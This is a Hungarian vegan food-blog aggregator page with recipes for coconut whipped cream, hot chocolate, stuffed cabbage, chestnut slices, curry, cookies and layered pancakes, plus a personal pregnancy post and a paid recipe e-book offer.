A sajtokat is könnyedén elkészíthetjük otthon, vagy széles választékban megvásárolhatjuk bioboltokban, akár a Trappistát, Füstöltet, Cheddart, Mozzarellát, és most már Parmezánt is.
Ha tejszín, akkor szójatejszín, rizstejszín, mandulatejszín...
De a nagy kérdés, hogyan tudunk megszokott textúrájú, mégis egészséges, növényi, tejszín ízű habot készíteni a különböző sütikhez, krémeket.
Tapasztalatom azt mutatja, hogy először mindenki a nagyáruházakban kapható, és növényi tejszín jelzővel illetett termékekhez nyúl, amelyek cukrozatlan változata még jó is lenne számunkra, ha az összetevők címszó alatt, nem látnánk felsorolva a tejfehérjét, és nem pálmazsírból és hidrogénezett növényi zsírokból készülnének, amelyek egészség-és környezetkárosító hatásúak.
Így más alternatívák után kell nézni az arra allergiásoknak, és a vegánoknak is.
Elkezdtem kísérletezni a főzőtejszínekkel, de nem jártam sikerrel.
Egy külföldi blogon olvastam a kókusztejszínhabról, ami leírva nagyon egyszerűnek tűnt, és jóval olcsóbbnak, mint a fentebb említett alternatívák.
Vegyünk egy magas zsírtartalmú sűrű nagy kókusztartalommal rendelkező konzerv kókusztejet és egy éjszakra tegyük hűtőbe. Csak közvetlenül akkor vegyük ki a hűtőből, ha felverjük.
Egy tálba fölözzük le a sűrű krémes a doboz tetején ülő kókuszkrémet,. (a vízszerű maradékot a dobozban hagyjuk, és mondjuk a legközelebbi turmixunkba tudjuk tenni )
Hozzáadjuk a nádporcukrot, vagy stévia port(ízlés szerint) és gépi habverővel felverjük.
A másik verzió, ha habszifont használunk, ez esetben a sűrű kókusztejszín a legmegfelelőbb, amit pici kókusztejjel hígíthatunk, teszünk hozzá egy teáskanál útifűmaghéjat , elkeverjük, majd mehet a szifonba. Tehetünk bele stévia port, vanília aromát. Jól összerázzuk. Minden legyen hűtőhideg.!!!
Az ebből készült édességeket érdemes hűtőben tartani, mert előfordulhat, hogy szobahőmérsékleten elkezd olvadni, még mielőtt felszolgálnánk.
Fehér forró csokoládé másképp (vegán)
2015. december 17. Zizi kalandjai
Karácsony este… már semmi nem fér belénk, de mégis csak olyan rég volt az a vacsora és jól esne valami finomság, ami melegít, meg édes, meg különleges, de tudunk aludni is tőle (mert nincs benne koffein) bármennyire is késő van. Valami kortyolgatnivaló, amit a puha takaró alá bújva, éppen a karácsonyra kapott új könyvünket olvasva vagy valamelyik romantikus karácsonyi filmet nézve, még inkább ellazít bennünket és plusz örömforrást jelent az este lezárásaként.
Hát hoztam egy ilyen italt nektek… A recept különlegessége, hogy nem fehér csokiból készült, hanem kakaóvajból. Nem szeretem a fehér csokit, mert túl édes nekem (legalábbis, amiket eddig kóstoltam). Ez a forró csoki viszont nem túl édes, ugyanis mi magunk édesítjük, tehát saját ízlésünkhöz igazíthatjuk. Kis csészéből kortyolgatva igazi finomság, tehát ne hagyjátok ki!
A kakaóvajat én az Ázsia Bt-nél vettem, de reform- és bioboltokban is megtaláljátok vagy online áruházakban.
Fehér forró csokoládé másképp (vegán)
Hozzávalók 2 főre:
– 1 és 1/4 bögre kókusztej
– 1 bögre víz
– 50 g kakaóvaj
– 1-2 evőkanál juharszirup, ízlés szerint
– egy csipet só
– szerencsendió, tálaláshoz
(A recepthez használt bögre 250 ml-es.)
Tegyünk minden hozzávalót egy kis lábasba. Forraljuk fel a csoki keveréket, majd vegyük takarékra a lángot és melegítsük addig, amíg a kakaóvaj elolvad.
Öntsük turmixgépbe, majd turmixoljuk össze (egyben habosítjuk is) 3-4 perc alatt. Tálaljuk kis csészékbe öntve, reszeljünk rá szerecsendiót.
Tipp: először az állaga elég híg lesz, úgy tűnik majd, hogy túl sok vizet adtunk hozzá. Várjunk egy kicsit, mert be fog sűrűsödni. Ha nagyon kihűlne, akkor melegítsük újra.
Vendégbejegyzés: Mirinda szelet (vegán)
2015. december 16. Mindennapi ételeink
Kedvenc gyermekkori süteményemet fordította át vegánra Andi és Marika, ismét az ő receptjük következik. Marika eredeti végzettsége cukrász, így bátran ajánlom mindenkinek ezt a receptjüket is. Hozzávalók Piskótához: 25 dkg liszt (fele teljes kiőrlésű) 10 dkg fruktóz fél csomag foszfátmentes sütőpor 6 ek. olaj 2,5 dl növényi tej+ fél ek. karobpor csipet só töltelékhez: 15 dkg köles 6 dl kókusztejszín 1 ek. tönkölydara 1 csomag bourbon vaníliás cukor 10 dkg fruktóz 1 evőkanál növényi margarin turmixoláshoz narancs zselé: fél vaníliás pudingpor 2,5 dl 100%-os narancslé kis fruktóz Elkészítés: A piskóta hozzávalóit összekeverem és kisütöm. Kb. 30 perc alatt megsül, de érdemes tűpróbának kitenni. A tölteléknél a kölest a kókusztejszínnel és a többi hozzávalóval kivéve margarin összekeverjük. Folyamatos kevergetés mellett közepes lángon, majd kis lángon készre főzzük. Ha elkészült fedő alatt pihenni hagyjuk kihűlni. Addig a narancszseléhez a pudingport a narancslét, fruktózt összefőzzük. Ha megsült a tészta és kihűlt, akkor a tölteléket összeturmixoljuk egy kevés margarinnal és a tészta tetejére kenjük. Ha a narancszselé langyosra hűlt, akkor rásimítjuk a töltelék tetejére. Érdemes várni egy kis időt, hogy kihűljön és megdermedjen a teteje, de utána szeletelhető.
Vegán töltött káposzta
2015. december 14. Éltető ételek
Nagyon sok vegán töltött káposzta receptet olvastam a neten, de nekem valahogy egyik sem tetszett. Vagy szejtán volt benne, ami nem más, mint búzahús - tömény glutén -, vagy szója vagy éppen gabona fasírt. Ez utóbbi még talán jó is lett volna, de vidéken azért nem olyan egyszerű beszerezni. Ja... még diós és gombás változatot is találtam, de önmagukban ez sem nyerte el a tetszésemet. Így kénytelen voltam kikísérletezni egy változatot, ami elsőre olyan jól sikerült, hogy azóta már kétszer is elkészítettem. Ennek az ételnek a szíve-borsa maga a fűszerezés. Ezért azt a lehető legjobban találd el, a töltelék bekeverése során kóstolgasd, hogy igazán magyaros legyen az íze. Hozzávalók (4 adag): - 2 evőkanál kókuszolaj - 1 vöröshagyma - 3 gerezd fokhagyma - 15 dkg tisztított gomba - 15 dkg áztatott tarka bab - 15 dkg parbolied rizs (előgőzölt, DM-ben kapható) - 6 dkg nagyszermű zabpehely - 1 teáskanál pirospaprika - 1/2 kávéskanál füstölt pirospaprika - 1 teáskanál házi vegeta, só, bors, chili - kb. 10 db savanyított káposztalevél Paradicsomos öntet: - 1 evőkanál kókuszolaj - 1 kis vöröshagyma - 2 evőkanál kukoricaliszt - 1,5 dl paradicsomlé Elkészítése: A hagymát vágjuk fel apróra, és kókuszolajon dinszteljük meg. Reszeljük bele a fokhagymát is.A zabpelyhet öntsük le forró vízzel (éppen csak ellepje), majd fedjük le és hagyjuk duzzadni. A gombát tisztítsuk meg, és daráljuk morzsásra. Dobjuk rá a hagymára. Pirítsuk úgy 5 percig, majd mehet hozzá a szintén morzsásra darált tarka bab is.Adjuk hozzá a rizst, az áztatott zabpelyhet, és fűszerezzük. Jó magyaros ízvilága legyen, ettől függ a káposzta íze.Minden káposzta levélbe tegyünk 1 jó nagy evőkanálnyi tölteléket. Jól csavarjuk fel úgy, hogy a széleit behajtjuk.Tegyük egy lábasba, és öntsük fel vízzel.Lassú lángon főzzük kb. 1 órát.Az öntethez a felkockázott hagymát dinszteljük meg a kókuszolajon, és reszeljük bele a fokhagymát is. Szórjuk rá a kukoricalisztet, pár keverés után öntsük rá a paradicsomlevet. Főzzük pár percig. Szükség szerint egy kevés vízzel hígíthatjuk.Az elkészült öntetet öntsük a káposztára. Jól rázzuk össze (ne keverjük, mert a töltelék szétnyílik), és úgy 5 perc alatt főzzük össze.
Gesztenyés szelet maglisztes puha piskótával (gluténmentes, laktózmentes)
2015. december 14. Zöld Avocado
Valamikor régen vettem egy zacskó szőlőmaglisztet, mert valahol azt olvastam, hogy milyen egészséges a szőlőmag, mely leghatékonyabban őrlemény formájában fejti ki hatását. Miután megérkezett a webáruházból (ahonnan rendelni szoktam a kissé rendhagyó, de mégis egyszerűen elérhető alapanyagokat), feltettem a polcra a többi liszt közé. El is felejtkeztem róla hosszú időre... Magányosan bujdokolt a konyhaszekrény hátsó sarkában, várva, hogy beteljesítse küldetését. Nem is olyan régen, egy leltározás alkalmával rábukkantam a még bontatlan zacskóra. Mivel közel volt a szavatossági idő vége, ezért külön figyelmet fordítottam a konyhámban bujkáló szőlőmaglisztre. Nem egy hétköznapi hozzávaló, amit sok receptben fel tudunk használni! Célirányos és tudatos hozzáállás szükségeltetik a szőlőmagliszthez, ha ízletesen szeretnénk elkészíteni. gesztenyés szelet maglisztes puha piskótával (gluténmentes, laktózmentes) A szőlőmagliszt ad egy érdekes állagot a süteményeknek, amitől olyan roszogó érzést érezhetünk a szánkban. Ezért én úgy gondoltam, hogy el kell terelni a figyelmet róla, egy erőteljes, és hangsúlyos krémmel. Késő őszi, kora téli hónapokat taposva, mi is lehetne tökéletesebb alapanyag a krémhez, mint a gesztenye? A gesztenye, amit sülve - főve, krémekben és önmagában is imádunk! Európa utcáit járva ebben az időszakban gyakran botlunk sült gesztenye árusokba, akik illat- és íz élményeikkel, egy kis melegséget lopnak a járókelők életébe. A hangulatos karácsonyi vásárok forraltboros házikói mellett is gyakran nassolhatunk pár szem sült gesztenyét. Sajnos nem tartozik az olcsó csipegetni valók közé, de évente csak pár alkalommal van lehetőségünk átadni magunkat ennek az élvezetnek, így hát nem érdemes sokat gondolkozni rajta. ;-) szelídgesztenye "A gesztenye élettani szerepe jelentős. Erős antioxidáns hatású, gazdag E-vitaminban, B1-, B2-, B6 és C-vitaminban, és cukor nélkül fogyasztva az egészséges táplálkozás egyik alappillére. Gazdag nátriumban, kalciumban, foszforban és káliumban. Mivel magas a szénhidráttartalma, ezért a gabona- és burgonyapótló, hisz gazdag rostokban, valamint jó hatással van az emésztésre." Forrás: Filantropicum Többszöri kísérletezés eredménye lett ez a rendkívül finom gesztenyés szelet, ami olyan nagy kedvenc lett, hogy még itt sincs a karácsony, de már többször elkészült, majd elfogyott, elkészült, majd újra elfogyott ez a karácsonyi menübe szánt sütemény. Egyszerű, különleges, mennyein puha, finom, magas rost- és antioxidáns tartalmú, tehát még egészséges is! ;-) Nem vagyunk édesszájúak, általában 1-1 falat elég, hogy az édes íz utáni vágyunkat kielégítsük, de ezt a süteményt nem tudom elfelejteni, sem abbahagyni. A testem is örül az effajta nassolásnak! ;-) gesztenyés szelet maglisztes puha piskótával (gluténmentes, laktózmentes) HOZZÁVALÓK (kb. 20x34cm téglalap) Szőlőmaglisztes piskótatésztához: - 6 db bio tojás - késhegynyi szódabikarbóna - 4 ek mandulaliszt (darált mandula) - 3 ek szőlőmagliszt - 4 ek tetszés szerinti édesítő (pl.: nyírfacukor, eritrit, kókuszcukor, nádcukor stb.) - csipet Himalája só Gesztenyés krémhez: - 500 g szelídgesztenye - 8 ek tetszés szerinti édesítőszirup (pl.: Agave-, datolya-, maple- szirup, méz stb.) - 4 ek kókusz reszelék - 3 dl kókusz tej (konzerves) - 1 ek útifűmaghéj - 1 dl rum vagy 1 ek rum aroma (elhagyható) Csokimázhoz (elhagyható): - 2 ek kókuszolaj - 50 g magas minőségű bio étcsokoládé (GM és LM) gesztenyés szelet maglisztes puha piskótával (gluténmentes, laktózmentes) ELKÉSZÍTÉSA gesztenyékre vágunk egy-egy csíkot, vagy X-et, és vízzel teli fedeles edényben feltesszük főzni. Kb. 40 perc alatt készre főzzük a gesztenyéket. Addig könnyű őket megpucolni, míg melegek, úgyhogy nem öntjük le róla a vizet, csak kimerünk egy-egy szűrőkanállal egy-egy adag főtt gesztenyét pucolni. Amikor végeztünk egy adaggal, kimerünk egy újabbat, és így tovább. A végén, amikor már minden gesztenyét megpucoltunk, boldogan félre tehetjük őket, és pihenhetünk egy keveset. A szőlőmaglisztes piskótához a tojások fehérjét külön választjuk a sárgájuktól. A tojásfehérjéket egy csipet sóval kemény habbá verjük. (Akkor elég kemény, ha fejjel lefelé tudjuk fordítani a keverő tálat, és a hab nem esik ki belőle. Azért csak óvatosan teszteljük! ;-) ) A tojássárgákat összekeverjük a szódabikarbónával, a szőlőmagliszttel, a mandulliszttel és a választott édesítővel (porrá darálva). Ezt a lisztes keveréket óvatosan a kemény fehérjehabhoz adagoljuk. Nagy körkörös le-fel mozdulatokkal keverjük össze őket, hogy ne törjük szét a habot teljesen. Miután egynemű piskótatésztát kaptunk 180°C-ra előmelegített sütőbe tesszük. Válasszunk egy nagy tepsit (nálam ez 40x36 cm volt), melybe sütőpapírt helyezünk, és arra öntsük rá a szőlőmagos piskótatésztát. Kb. 20 perc alatt készre sül a tészta. Vegyük ki, borítsuk a megsült piskótát fejjel lefelé a tepsibe, és óvatosan húzzuk le még melegen a sütőpapírt a tésztáról, majd hagyjuk kihűlni a piskóta tésztát. gesztenyés szelet maglisztes puha piskótával (gluténmentes, laktózmentes) A gesztenyekrémhez a megfőzött és megpucolt gesztenyét daráljuk vagy reszeljük le (törjük össze), majd a kókusztejjel, a választott édesítősziruppal, a rummal, a kókuszreszelékkel keverjük egynemű krémmé. (Ha a turmix vagy aprítógépünk elbírja, akkor tegyünk mindent egybe bele, és dolgoztassuk össze a géppel.) Miután kész a gesztenyés krém, keverjünk hozzá egy evőkanál útifűmaghéjat, és hagyjuk 15 percet pihenni. A kihűlt piskótatésztát vágjuk egyszerűen két felé, mert egy a süti alja, egy pedig a teteje lesz. (Ne úgy mint a tortát, magasságában, mert ahhoz lapos, hanem, egyszerűen vágjuk ketté a tésztát. Két db. kb. 20x34 cm-es téglalapot kapunk.) Kenjük meg vastagon a krémmel az egyik felét, helyezzük rá a másik felét a piskótának, majd készítsünk a tetejére csokimázat. A csokimázhoz az étcsokoládét gőz felett olvasszuk fel, keverjünk hozzá két evőkanál kókuszolajat, majd még melegen kenjük a sütemény tetejére. Tegyük a hűtőbe az egészet éjszakára, és másnap már fogyaszthatjuk is ezt a különleges, és ízletes süteményt, melyet ételérzékeny vendégeink (glutén, laktóz) is bátran megkóstolhatnak. gesztenyés szelet maglisztes puha piskótával (gluténmentes, laktózmentes) Zöld Avocado vegetáriánus gasztroblog, ahol táplálkozunk is nem csak eszünk! Megjegyzés1: Ha a gesztenyéket hideg vízbe tesszük főzés/sütés előtt, könnyedén kiszedhetjük közülük a már romlottakat, amiket a kukacok megdézsmáltak. Azok, amelyek feljönnek a víz tetejére, lebegnek az ürességtől, azokat nyugodtan dobjuk ki még főzés/sütés előtt. Megjegyzés2: A szőlőmaglisztet nem csak belsőleg, de külsőleg is érdemes rendszeresen fogyasztani és használni. Itt bővebben olvashatunk előnyös tulajdonságairól, és arcpakolásként való felhasználásáról. gesztenyés szelet maglisztes puha piskótával (gluténmentes, laktózmentes)
Jótékonysági sütivásár avagy adományért cserébe sütemény jár
2015. december 10. Éltető ételek
Egyre gyakrabban hallani, hogy kisebb-nagyobb városok, városokban működő alapítványok, egyesületek adományt gyűjtenek nemes cél érdekében. Nos, ez nálunk sincs másképp... Tiszaújváros Gyermekeinek Egészségéért van most sok konyhában sürgés-forgás. Nálam sem volt ez másképp... délelőtt muffint sütöttem - természetesen két adagot, hogy a gyermekeimnek is maradjon estére :) -, és mindenmentes, nyers karácsonyi süteményt. Akinek nincs lehetősége megkóstolni, akkor közkinccsé teszem a receptet, hogy bárki el tudja készíteni magának (és családjának). Hozzávalók: Aszaltszilvás sütemény - 10 dkg datolya - 10 dkg aszalt szilva - 10 dkg kesudió - 3 dkg kókuszreszelék - 1-2 ek. kókuszliszt - 5-6 csepp narancsolaj - késhegynyi vaníliapor - csipet só Kakaós-áfonyás sütemény - 10 dkg datolya - 10 dkg áztatott/szárított dió - 1 marék aszalt, cukormentes áfonya - 2 teáskanál cukrozatlan kakaópor - 2 evőkanál puffasztott quinoa - 2 evőkanál kókuszreszelék - 1-2 evőkanál kókuszliszt - 4 csepp narancsolaj - késhegynyi vaníliapor - csipet só Elkészítése: Az aszalványokat az olajos magokkal daráljuk krémesre. Ha szükséges, pici mandarinlevet önthetünk hozzá.A többi hozzávalót is adjuk hozzá, gyúrjuk össze,A nyújtódeszkát szórjuk meg kevéske kókuszliszttel, majd nyújtsuk ki rajta a tésztát úgy, hogy folpackot teszünk rá.Szaggassuk ki, majd 1-2 óra alatt szárítsuk ki (pl. aszalóba, sütőbe, radiátoron, kandallón).
Tücsökciripelés - avagy hol vannak a bejegyzések...
Nyár végi hűvös este tücsökciripeléssel. Késő van, húz az ágy, de jól esik egy kicsit végre ezzel is foglalkozni, mert ritkán jut idő rá. Elterpeszkedek a fotelben, közben a pocakban szintén helyezkedik egy 22 hetes kislány. Néha azt képzelem, hogy hinta van a pocakomban, amit ő előszeretettel, gyakran használ... Hol van az már... eltelt azóta 14 hét, ami alatt a leányzó a hintát buldózerre váltotta, leesett az első hó a Mátrában, a területünkön lehullott 10 zsák levél. A bicliklit is nehéz tekerni, és a kényelmes fotel is csak nyom mindenütt. Vagyis ilyen nyügi vagyok, de azért főzök, csak kevés újdonságot. Inkább a megszokottakat, esetleg kis csavarral. Tegnap például az erdélyi töltött káposztát akartam sütni, de nem jutottam el a boltba káposztáért, végül a félig elkészült hozzávalóit - főtt rizs, szójagranulátum - összekevertem egy doboz lencsével, és összesütöttem lencsehurkának. Ma zöldborsó leves készült galuskával, este hajdina piskóta. Tegnapelőtt jénaiban fűszeres krumpli sült, főleg kisebbeket pucoltam, kevés pálmazsír került az aljára, arra az egész burgonyák megszórva némi zöld fűszerrel. Ha lehet, mindenfélét egyszerűsítek. Egyrészt Ábel segít, a gombaaprítás már nagyon megy neki, ha csak egészben szeretném, vagy negyedekre vágva megpirítani kicsit a gombát pl. zöldséges rizs mellé, úgy kell menekítenem a fejeket. Beáldozok olyankor párat, míg ő kaszabol én szélsebesen dolgozom a többivel. :) A másik része, hogy egyre nehézkesebb vagyok, nincs már egy hónap hátra, bár szerintem elég jól bírom, azért sok a nyűg. Ma pl. egyedül bevásároltam, míg a fiúk a parkban szaladgáltak, élveztem a viszonylagos nyugodtságát, de mire hazaértem, húzott az ágy. Csakhogy a borsóleves meg várta a galuskákat, aztán a gyerek az ebédet... Így nehezebb pihenni, amiért a doki biztosan fejbe verne - teljes joggal. Mert megmondta, ha ilyenkor hazaballag az ember, és keményedik a pocak, lefeküdni, és nem törődni semmivel, meg enni a magnéziumot, mint a cukorkát. Persze aztán feküdtem picit, mert tényleg jót tesz, és a dokira is érdemes hallgatni, mert bár a múltkor nem fejeztem ki teljes egyetértésemet étkezési javaslataival szemben, nagyon jó szakembernek tartom, és különlegesen megbízom a hozzáértésében. Hálás vagyok, hogy az Apósom volt kollégájaként elvállalt, és nagyban rajta múlt, illetve szintén egy volt anesztes kollégán, hogy Ábel születésével kapcsolatban pozitív élményeim vannak. Imádkozom érte, hogy hasonlóan rendben legyen minden a második csemetével is. Mert bár egy szülés tényleg nem fenékig tejfel, annyira különleges dolog, hogy a fájdalmat kifelejted belőle, ha visszagondolsz. Volt, mert csillagokat is láttam, de aztán az, amikor a kis buksi végre a világra jön, kicsit mossa az ember agyát. :) Kissé elkanyarodtam a gasztro területtől, de ez az anyaságos téma most kissé aktuálisabb, mint pl. az almaszószos kölesgombóc, amit egyik reggelire ettünk. Ilyenekről most könnyebben tudok fecsegni. Ha valami újdonságot készítünk, majd jelentkezem, addig meg kissé kevesebb a bejegyzés sajnos.
Narancsos mazsolás keksz
2015. december 5. Élj harmóniában
Narancsos - mazsolás keksz Ígéretemhez híven, ahogy közeledik a karácsony egyre több keksz és rágcsálnivaló receptet teszek ki. Holnap a vasárnapi jógagyakorlás és a jógaklub pont mikulás napjára esik, gondoltam valami karácsonyi hangulatú kekszet készítek:) Hozzávalók - 35 dkg teljes kiőrlésű tönkölyliszt (vagy búzaliszt) - 10 dkg mazsola - 15 dkg vaj (vegán változatban használj kókuszzsírt) - 15 dkg nádcukor - csipet só - 1 teáskanál szódabikarbóna - 1 - ( esetleg 1,5 ) dl folyadék ( a narancs leve + víz) apránként add hozzá, akkor nem tévedhetsz :) - 1 narancs reszelt héja - fahéj, vanília, őrölt kardamom Keverd el egy tálban a száraz hozzávalókat, majd add hozzá a narancs levét és a vizet - egy lágy, nyújtható tésztát fogsz kapni. T edd hideg helyre a tésztát egy rövid időre ( 15 - 20 perc ), majd lisztezett felületen nyújtsd és, szaggasd ki belőle a kekszformákat. Tedd sütőpapíros tepsire és 180 fokosra előmelegített sütőben süsd meg. Az elkészült kekszek kellemesen puhák és néhány napig dobozban is tárolhatod őket. Vegyszermentes (bio) alapanyagokat használj!
Karfiolos-sütőtökös vöröslencse curry (vegán)
2015. december 4. Zizi kalandjai
Az ünnepekre, karácsonyra való készülődésben jól jön egy testet, lelket melengető étel, ami ráadásul gyorsan el is készül. Nálunk nagyon népszerű a zöldséges curry, csak picit csípősen, hogy Ádi is meg tudja enni. Csípősségét a piros curry paszta adja (arab, indiai fűszerboltokban beszerezhető), ha ilyet nem találtok ízesítsétek cayenne borssal vagy chilivel. Bármilyen zöldséggel variálható, én ebbe most karfiolt és sütőtököt tettem. Persze feldobtam egy kis zölddel, leveleskellel is, ami simán lecserélhető spenótra vagy mángoldra. Alapját a fokhagyma, a lilahagyma és a fűszerek adják, aztán jöhetnek a zöldségek, a paradicsomszósz, a kókusztej és a végén egy kis frissen facsart citromlével bolondítom meg. Köret bármi lehet, a barnarizstől kezdve, a kölesig, a quinoáig, de akár jó kis kovászos kenyérrel is lehet tunkolni!
Ne várjatok vele sokáig, irány a konyha, hétvégén legyen ez az ebéd!
Karfiolos-sütőtökös vöröslencse curry (vegán)
Hozzávalók 4 főre:
– fél fej (kb. 600 g) karfiol, rózsáira, falatnyi darabokra szedve
– egy kis darab (kb. 500 g) sütőtök, meghámozva és kb. 1×1 cm-es kockákra vágva
– egy maréknyi leveleskel (levelek letépkedve a kemény szárról), spenót vagy mángold, felaprítva
– 1 fej lilahagyma, felaprítva
– 3 gerezd fokhagyma, felaprítva
– 1/3 bögre vöröslencse
– 350 ml paradicsomlé
– 250 ml kókusztej
– 200 ml víz
– 1 teáskanál kurkuma
– 1 teáskanál őrölt kömény
– 1-2 teáskanál vegán piros curry paszta
– só
– 1/4 citrom frissen facsart leve
– kókuszzsír
Egy lábasban közepes láng felett hevítsünk egy-két evőkanál kókuszzsírt. Adjuk hozzá a lilahagymát, a fokhagymát, pirítsuk három-négy percig, majd fűszerezzük (kurkuma, őrölt kömény, curry paszta). Néhány perc után, amikor a fűszerek már illatosak, jöhet bele a felkockázott sütőtök és a rózsáira szedett karfiol, sózzuk, majd jól átkeverjük és felöntjük a paradicsomlével és a vízzel.
Főzzük kb. 15-20 percen át és amikor már a zöldségek majdnem megfőttek, tegyük bele a vöröslencsét, a leveleskelt, öntsük fel a kókusztejjel, vegyük magasra a lángot és forraljunk rajta még egyet, amíg a kókusztej kicsit sűrűbbé teszi, a vöröslencse megfő és a leveleskel is megpuhul. Jól keverjük át, kóstoljuk meg és ízesítsük még, ha szükséges. Ha túl sűrűnek találjuk a szószt, hígíthatjuk még egy kevés paradicsomlével vagy vízzel.
Tálaláskor locsoljuk meg a citromlével.
Vega karácsony, 40 recepttel
2015. december 2. Éltető ételek
Karácsony közeledtével egyre inkább azon törjük a fejünket, hogy milyen finomságokat készítsünk, melyek a családunk dicséretét is elnyerik. Nem tudod, hogy milyen különleges levest készíts, mely pár perc alatt elkészül? Mindenképp húsmentes recepteket keresel? Szeretnéd elkápráztatni a rokonságot különleges édességekkel? Egyedi ajándékot szeretnél adni a barátaidnak? Akkor ez a receptes összeállítás neked való! Ezeket olvashatod az összeállításban: - 5 mártogatós/ropogtatós recept - 5 leves - 5 köret - 5 főétel - 5 édes sütemény - 5 édesség - 5 szaloncukor recept A receptek 90%-a vegán, és több nyers, de néhány laktóvegetáriánus receptet is találsz. Emellett ötleteket adok arra is, hogy milyen ajándékokat tudsz készíteni, melyek bizonyosan nagy sikert fognak aratni. Hiszen ki szeretne 4. nyakkendőt vagy 3. sálat kapni, mikor szuper, egyedi ajándékokat is adhatunk szeretteinknek. Így a könyv végén 5 ajándék ötletet is olvashatsz. Néhány fontos infó... Megrendelés után hogyan kapom kézhez a receptgyűjteményt? A vételár megérkezése után e-mailben megkapod a receptgyűjteményt pdf formátumban. Ezután ki is nyomtathatod, vagy akár magaddal viheted a laptopodon, okos telefonodon keresztül a konyhádba. Hogyan tudok fizetni? Átutalással, a fizetési határidő 8 nap. Megrendelés után a fizetési adatokat megkapod e-mailben. Mennyibe kerül ez a letölthető receptgyűjtemény? A kiadvány ára 3200 Ft. AKCIÓ!!! Aki megosztja a facebookon a bejegyzést, és like-olja az oldalt, 30%-os kedvezménnyel vásárolhatja meg. Így a vételár: 2.240 Ft. Mit kapsz ezért az árért? Egy 42 oldalas kiadványt, melyben 40 különleges recept van. Ízelítőül pár cím a tartalomból: Kukorica ropogósVegán Jókai bablevesZöldfűszeres krémes krumplipüréParadicsomszószos lencsefasírtNyers karácsonyi linzerKókuszos pralinéMézeskalács szaloncukorKülönleges fűszerolaj Boldog Karácsonyt kívánok neked! Rendeld meg itt! Ez a megrendelés elektronikus úton megkötött szerződésnek minősül, mely fizetési kötelezettséggel jár, és amelyre az elektronikus kereskedelmi szolgáltatások, valamint az információs társadalommal összefüggő szolgáltatások egyes kérdéseiről szóló 2001. évi CVIII. törvény 5. és 6. §-ában foglaltak irányadóak. A szerződés a távollevők között kötött szerződésekről szóló 1999. (II.5.) Kormányrendelet hatálya alá tartozik. Ennek érdekében az elektronikus úton leadott megrendelések esetén a megrendelő 14 napon belül indoklás nélkül elállhat a szerződéstől abban az esetben, ha még nem került birtokába az elektronikus letöltéshez szükséges link. Elállási szándékodat a megrendeléstől számított 14 napon belül e-mailben jelezheted (riczu.aniko73@gmail.com). A szerződést a megrendelő űrlap kitöltésével és a Küldés gombra való kattintással Riczu József egyéni vállalkozóval kötöd (Adószám: 49495744-2-25) Fizetési feltételek: Megrendelésed után visszajelzést küldünk a megrendelés adatairól, valamint elküldjük a fizetési információkat. A fizetési határidő 8 nap.
Vegán rakott palacsinta rizslisztből
2015. november 30. Vegán lettem
Rizslisztből készült az első saját alkotású vegán édességem. A rizsliszt állaga miatt nem tűnt elsőre túl jó választásnak, de a végeredmény egy nagyon fincsi vegán rakott palacsinta lett.
Profi szakácsoktól elnézést kérek, ez a recept egy gyors ötlettől vezérelve és a fantasztikus ízek hatása alatt íródott, így mellőz mindenféle szakmaiságot részemről. A konyhában totális amatőrnek számítok, de itt a végeredmény nagyon bejött, és úgy gondoltam megosztom azokkal, akik hasonlóan kezdő cipőben járnak mint én. Tehát, hogyan készült a vegán rakott palacsinta?
Vegán rakott palacsinta hozzávalók
Tészta:
750g rizsliszt
1,5dl kókusz főzőkrém (ez bármi mással helyettesíthető, akár növényi tejjel is)
1 csomag vaníliás cukor
50g nádcukor
20g kókuszzsír
szűrt csapvíz (édesanyám emlékeim szerint mindig bubis ásványvízzel készítette, egyszer majd kiderítem milyen különbséget okoz a végeredményben)
csipet só
Töltelék és bevonó:
házi baracklekvár
szatmári szilvalekvár
mák
dió
kakaó
kakaó bevonó
1dl rizstej
Vegán rakott palacsinta elkészítése
Először elkevertem a rizslisztet a cukorral és a kókusz főzőkrémmel. Azért használtam főzőkrémet, mivel féltem, hogy a tésztája száraz marad (franc tudja, hogy ennek a félelmemnek van-e alapja), és mert az volt itthon. Ezután felmelegítettem a kókuszzsírt és hozzákevertem a tészta alaphoz. Majd fokozatosan adtam hozzá a vizet és addig kevertem a kézimixerrel, míg a tészta olyan híg lett, hogy a sütőedényben kényelmesen körbe tudtam futtatni a merést követően.
Miközben sült az első palacsinta, előkészítettem a hőálló tálat és beletettem az első palacsintát. Nem kentem ki semmivel, csak reménykedni mertem, hogy a tésztában elég kókuszzsír van ahhoz, hogy ne égjen le. Ahogy sültek a palacsinták, úgy pakoltam bele a hőálló jénaiba és rétegeztem a tölteléket. Nálam a sorrend a következő volt: szilva lekvár, mák, barack lekvár, dió, kakaó, majd előröl. Tudatosan választottam egy nedves majd egy száraz tölteléket, hogy minden palacsintát érjen nedves töltelék. Kétszer értem körbe, majd félretettem a tele tálat. Egy tábla tortabevonót beletettem egy picike fém edénybe, ráöntöttem az 1dl rizstejet és belemártottam egy edény forrásban lévő vízbe. Azért nem közvetlenül a tűzre tettem a tortabevonót, mert ráégne az edény oldalára, így pedig csak megolvad. Az olvadt csokit ráöntöttem a vegán rakott palacsinta tetejére, majd egyenletesen eloszlattam egy kiskanállal.
Végül a 190°C-ra előmelegített sütőbe fedővel a tetején betettem a hőálló tálat és sülni hagytam a palacsintát 25 percig. 25 perc után a fedőt levettem és még 10 percig bent hagytam, hogy megpiruljon kicsit a csoki a rakott palacsinta tetején. 10 perc elteltével kivettem és hagytam hűlni, majd levágtam egy nagy szeletet, hogy megkóstoljam hogy sikerült.
Így készült nálam a vegán rakott palacsinta. Remélem minél többen kipróbáljátok, és legalább olyan élményt ad majd mint nekem. Egészségetekre!
Elkészítése: 1 óra kb.
Ha legközelebb sós palacsintára vágytok inkább, akkor próbáljátok ki a vegán brokkolis rakott palacsinta receptemet is.
Mákkrémes zabkeksz
A szokásostól eltérően ez az édesség most nem nyers, egyszerűen csak vegán ;) Annyian osztottatok meg zabkekszes recepteket, hogy megkívántam ;) A mákot pedig imádom ;) Hozzávalók a kekszhez: 1 csészényi zabpehely 1 tk kókuszolaj 2 tk barna nádcukor 1 tk Holland kakaópor 1 csipetnyi tiszta só 1 csipetnyi őrölt szegfűszeg 1 kk fahéj annyi […]
Reggelire fel! - Sütőtökös amerikai palacsinta fahéjas öntettel (laktózmentes, tojásmentes, vegán)
2015. november 25. Zöld Avocado
